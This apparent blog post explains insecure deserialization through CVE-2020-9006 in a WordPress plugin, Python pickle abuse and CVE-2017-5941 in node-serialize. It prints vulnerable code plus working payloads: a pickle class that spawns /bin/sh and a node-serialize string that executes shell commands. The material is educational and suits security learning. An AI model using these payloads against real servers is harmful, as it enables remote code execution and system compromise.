What is insecure deserialization

1 year ago 36
BOOK THIS SPACE FOR AD
ARTICLE AD

figar0

Unsecured data deserialization ranks eighth on the list of the ten most critical web application security threats. Before we address the attacks themselves, let’s start with what serialization is.

Simply put, serialization involves converting an object instance into bytes for transmission over a network. Deserialization, then, is the reverse process.

For example, let’s imagine a situation in which a user sends data to a server via a form using an API. They are changed into serial form, and then received by the server deserialized and used to, for example, save them in a database.

In order not to be theoretical, let’s go to real examples.

CVE-2020–9006

To start with something simple. The Popup Builder plugin version 2.2.8 to 2.6.7.6 for WordPress showed a vulnerability to SQL Injection by deserializing the attachmentUrl variable. This allows the creation of an administrator account, resulting in the possibility of remote code execution. The vulnerable portion of the code can be found below.

function sgImportPopups()
{
global $wpdb;
url = $_POST['attachmentUrl'];
contents = unserialize(base64_decode(file_get_contents($url)));

/* For tables wich they are not popup tables child ex. subscribers */
foreach ($contents['customData'] as $tableName => $datas) {
$columns = '';

$columsArray = array();
foreach ($contents['customTablesColumsName'][$tableName] as $key => $value) {
$columsArray[$key] = $value['Field'];
}
$columns .= implode(array_values($columsArray), ', ');
foreach ($datas as $key => $data) {
$values = "'".implode(array_values($data), "','")."'";
$customInsertSql = $wpdb->prepare("INSERT INTO ".$wpdb->prefix.$tableName."($columns) VALUES ($values)");
}
}
(...)
}

As you can see, the attachmentUrl variable is not validated in any way. Instead, it is directly passed to the unserialize() function. The deserialized data is next used to populate the database. Zeroauth in its [post](https://zeroauth.ltd/blog/2020/02/16/cve-2020-9006-popup-builder-wp-plugin-sql-injection-via-php-deserialization/) shows an example of a function used to create a malicious payload.

CWE-502

There is a [pickle](https://docs.python.org/3/library/pickle.html) library in python that supports serialization and deserialization of objects. The following [example](https://blog.nelhage.com/2011/03/exploiting-pickle/) retrieves and processes the data and then authenticates the user based on an existing token.

class VulnerableProtocol(protocol.Protocol):
def dataReceived(self, data):

# Code to actually parse incoming data according to an
# internal state machine
# If we just finished receiving headers, call verifyAuth() to
check authentication

def verifyAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed

The problem with the above code is that the attacker is able to create the AuthToken object itself, which will then initialize one of the Python subprocesses. What does this mean? That we can execute any command on the server. Let’s take a look at the following example.

import cPickle
import subprocess
import base64

class RunBinSh(object):
def __reduce__(self):
return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

The pickle library allows any object to declare how it is to be “pickled” by defining the __reduce__ function. Ultimately, it returns a string or tuple describing how the object can be reconstructed after unpicking. The tuple must consist of two elements:

the called object classthe passed arguments

This is how we are able to define the returned object, which will run the shell by default.

CVE-2017–5941

From [notification](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941) we can learn that in the [node-serialize](https://www.npmjs.com/package/node-serialize) library version 0.0.4, there is an unserialize() function that can be used to inject arbitrary code by passing a JavaScript object with an immediately invoked function expression. It looks like the following, and someone who works together in javascript on a daily basis has surely been familiar with it.

(function() {
'use strict';

}());

An example code with the payload used could look like the following.

var serialize = require('node-serialize');
var payload = '{
"rce":"_$$ND_FUNC$$_function(){
require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr) {
console.log(stdout)});
}()"
}';
serialize.unserialize(payload);

In the above example, the code results in running the ls command on the server.

https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
https://qa-stack.pl/programming/447898/what-is-object-serialization
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5941
https://cwe.mitre.org/data/definitions/502.html
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://cwe.mitre.org/data/definitions/502.html#REF-467
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9006
https://zeroauth.ltd/blog/2020/02/16/cve-2020-9006-popup-builder-wp-plugin-sql-injection-via-php-deserialization

Read Entire Article